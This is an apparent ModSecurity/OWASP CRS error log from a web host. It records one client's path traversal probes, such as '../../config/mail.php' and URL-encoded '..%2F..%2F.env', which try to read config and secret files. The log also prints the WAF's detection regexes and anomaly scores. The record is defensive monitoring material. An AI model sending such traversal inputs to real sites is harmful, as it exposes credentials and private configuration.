[Fri Jul 17 08:55:04.233876 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBgAAAAAQ"]
[Fri Jul 17 08:55:04.233930 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?path=../../config/mail.php&extra=HCJen5U0G7ovUMa_pi3kfwTw9po3RNRMMV8nvEigmGKgZeWG5YNLC5ANam4eAVZATA7ADEMC3jKPS5SC1krPG4yRk0W12DqvdXpKiOBcq8YHKaHTJs_QvJnIe43Hs4hmW0dgKiAMYfxv7qi5GS9waacjVVm5nCtVrUByijNJPTtUGqUsr0jyd6ZiRteHeMHHz2owwuDWfuurAwJ9aLZk4u36bH0DLDC__XV9MCignbKo7h0g00Uwo4iXVQ8cpQLmWxY1uS3BDBqoIqEvJZ15sqA0&anything=DNMPBGCWHK57AL5ENBQPETIP2PJFYAH3HABVNOXYYY46DNN2Z6FMRZEROEC65ZXVJOGIAN2YD7SKNBPVJ5ZTAHL5FSOQ6Q525VC5YTFTES3LFE3GHME3VIFI6GRTW7HA7S4TNVWXJOE..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBgAAAAAQ"]
[Fri Jul 17 08:55:04.233974 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?path=../../config/mail.php&extra=hcjen5u0g7ovuma_pi3kfwtw9po3rnrmmv8nveigmgkgzewg5ynlc5anam4eavzata7ademc3jkps5sc1krpg4yrk0w12dqvdxpkiobcq8yhkahtjs_qvjnie43hs4hmw0dgkiamyfxv7qi5gs9waacjvvm5nctvrubyijnjpttugqusr0jyd6zirtehemhhz2owwudwfuurawj9alzk4u36bh0dldc__xv9mcignbko7h0g00uwo4ixvq8cpqlmwxy1us3bdbqoiqevjz15sqa0&anything=dnmpbgcwhk57al5enbqpetip2pjfyah3habvnoxyyy46dnn2z6fmrzeroec65zxvjogian2yd7sknbpvj5ztahl5fsoq6q525vc5ytftes3lfe3ghme3vifi6grtw7ha7s4tnvwxjoe..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBgAAAAAQ"]
[Fri Jul 17 08:55:04.234011 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBgAAAAAQ"]
[Fri Jul 17 08:55:04.234062 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBgAAAAAQ"]
[Fri Jul 17 08:55:04.235170 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBJQAAABs"]
[Fri Jul 17 08:55:04.235207 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBJQAAABs"]
[Fri Jul 17 08:55:04.235279 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBgAAAAAQ"]
[Fri Jul 17 08:55:04.235400 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.235714 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkLoj0IkvhSCYadmBgAAAAAQ"]
[Fri Jul 17 08:55:04.236322 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBJQAAABs"]
[Fri Jul 17 08:55:04.236432 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.236720 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkKquHSHoCJK_V0SBJQAAABs"]
[Fri Jul 17 08:55:04.243323 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?page=..%2F..%2F.env&extra=djxGROQxk6IgUMhKEZYnbHf_PK1dleFWqsfCQsIu74CMF5z_k-dtwVUQdi3f-A6-2u-3g9NbPIvq704jYM-zECgFxov5TBLHW_R_KRjYIeR1VUZjJYIvTP_C0sVndmLxE4v5lCFF0ViooHl5Ng3r7F710w8gsU3H8Q1MPU46t_zNDSIwzL8b37Cenrp8DkuZPQb96qfV2FfScxWrL7HVwrkOKnMj8H6iLmld297olQverxrT88F5tlnbTabOAupG-uVXCgfvyQtMwn_h1tgqeEy6&ref=Y5FN5B6RDADMVXQ6GFKMNQB7EKC34Q6SRUKRROA76VGYDD3D5GB6C2RTJ44Y5TFHWXNUAB3DJTNYNQFPOFXGNT6WUMYEOS6PMVIJGWHDUDV6OHQYMC7WPHNUBULKMTEB2QW3SXKVEYCPQKI..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBJQAAAAY"]
[Fri Jul 17 08:55:04.243391 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBJQAAAAY"]
[Fri Jul 17 08:55:04.243461 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?page=../../.env&extra=djxGROQxk6IgUMhKEZYnbHf_PK1dleFWqsfCQsIu74CMF5z_k-dtwVUQdi3f-A6-2u-3g9NbPIvq704jYM-zECgFxov5TBLHW_R_KRjYIeR1VUZjJYIvTP_C0sVndmLxE4v5lCFF0ViooHl5Ng3r7F710w8gsU3H8Q1MPU46t_zNDSIwzL8b37Cenrp8DkuZPQb96qfV2FfScxWrL7HVwrkOKnMj8H6iLmld297olQverxrT88F5tlnbTabOAupG-uVXCgfvyQtMwn_h1tgqeEy6&ref=Y5FN5B6RDADMVXQ6GFKMNQB7EKC34Q6SRUKRROA76VGYDD3D5GB6C2RTJ44Y5TFHWXNUAB3DJTNYNQFPOFXGNT6WUMYEOS6PMVIJGWHDUDV6OHQYMC7WPHNUBULKMTEB2QW3SXKVEYCPQKIMV4DFEIS3RFA..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBJQAAAAY"]
[Fri Jul 17 08:55:04.243505 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?page=../../.env&extra=djxgroqxk6igumhkezynbhf_pk1dlefwqsfcqsiu74cmf5z_k-dtwvuqdi3f-a6-2u-3g9nbpivq704jym-zecgfxov5tblhw_r_krjyier1vuzjjyivtp_c0svndmlxe4v5lcff0vioohl5ng3r7f710w8gsu3h8q1mpu46t_zndsiwzl8b37cenrp8dkuzpqb96qfv2ffscxwrl7hvwrkoknmj8h6ilmld297olqverxrt88f5tlnbtaboaupg-uvxcgfvyqtmwn_h1tgqeey6&ref=y5fn5b6rdadmvxq6gfkmnqb7ekc34q6srukrroa76vgydd3d5gb6c2rtj44y5tfhwxnuab3djtnynqfpofxgnt6wumyeos6pmvijgwhdudv6ohqymc7wphnubulkmteb2qw3sxkveycpqkimv4dfeis3rfa..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBJQAAAAY"]
[Fri Jul 17 08:55:04.243529 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBJQAAAAY"]
[Fri Jul 17 08:55:04.243553 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBJQAAAAY"]
[Fri Jul 17 08:55:04.244747 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBJQAAAAY"]
[Fri Jul 17 08:55:04.244910 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.245270 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkA5GPQ6hs4VrfMpBJQAAAAY"]
[Fri Jul 17 08:55:04.260429 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?page=..%2F..%2F..%2F.env&ref=O6uX6ADCIi_hGc0rK7GsfQ2hxkx2b2JB6LTvLdJgZj3ssEeNp55Gg2PYb5JKQsXlWvx88NHsp6VNTyhrc-5Q0_1HaKc2vKync0i6wwPBU14fM0pLNmit_qKNDSDfB8KiQIknAPM0S5TANFG7CF8na8ZSHOkAsIrFIEYc3_3929rSOIWvvT8e7qnSpZrafzxknWXJa3_558jC8l9afUvkzfj1fG5TIrNtp6agjqxnPgAoW3C4N-Rv9xRqLHD5bX5cCCZq45v70GEBUMOcE3Zu6fHU&sid=TCOZILGZ3EWSQG2MTSYUEV5MTNDFQ2BV7VYSZI2GROYCSNFOCKIDIFAFZERWADBKSA7M3QWZV3DBIRZ26WLEGXMNN25DY6K4VXAYHSUERIAQJDX6NTTCRUROGMMXZHZ6LTF2YUFJFI2D..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBJgAAABs"]
[Fri Jul 17 08:55:04.260477 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBJgAAABs"]
[Fri Jul 17 08:55:04.260533 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?page=../../../.env&ref=O6uX6ADCIi_hGc0rK7GsfQ2hxkx2b2JB6LTvLdJgZj3ssEeNp55Gg2PYb5JKQsXlWvx88NHsp6VNTyhrc-5Q0_1HaKc2vKync0i6wwPBU14fM0pLNmit_qKNDSDfB8KiQIknAPM0S5TANFG7CF8na8ZSHOkAsIrFIEYc3_3929rSOIWvvT8e7qnSpZrafzxknWXJa3_558jC8l9afUvkzfj1fG5TIrNtp6agjqxnPgAoW3C4N-Rv9xRqLHD5bX5cCCZq45v70GEBUMOcE3Zu6fHU&sid=TCOZILGZ3EWSQG2MTSYUEV5MTNDFQ2BV7VYSZI2GROYCSNFOCKIDIFAFZERWADBKSA7M3QWZV3DBIRZ26WLEGXMNN25DY6K4VXAYHSUERIAQJDX6NTTCRUROGMMXZHZ6LTF2YUFJFI2D7IXAF2DCQJCIBU..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBJgAAABs"]
[Fri Jul 17 08:55:04.260574 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?page=../../../.env&ref=o6ux6adcii_hgc0rk7gsfq2hxkx2b2jb6ltvldjgzj3sseenp55gg2pyb5jkqsxlwvx88nhsp6vntyhrc-5q0_1hakc2vkync0i6wwpbu14fm0plnmit_qkndsdfb8kiqiknapm0s5tanfg7cf8na8zshokasirfieyc3_3929rsoiwvvt8e7qnspzrafzxknwxja3_558jc8l9afuvkzfj1fg5tirntp6agjqxnpgaow3c4n-rv9xrqlhd5bx5ccczq45v70gebumoce3zu6fhu&sid=tcozilgz3ewsqg2mtsyuev5mtndfq2bv7vyszi2groycsnfockidifafzerwadbksa7m3qwzv3dbirz26wlegxmnn25dy6k4vxayhsueriaqjdx6nttcrurogmmxzhz6ltf2yufjfi2d7ixaf2dcqjcibu..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBJgAAABs"]
[Fri Jul 17 08:55:04.260596 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBJgAAABs"]
[Fri Jul 17 08:55:04.260632 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBJgAAABs"]
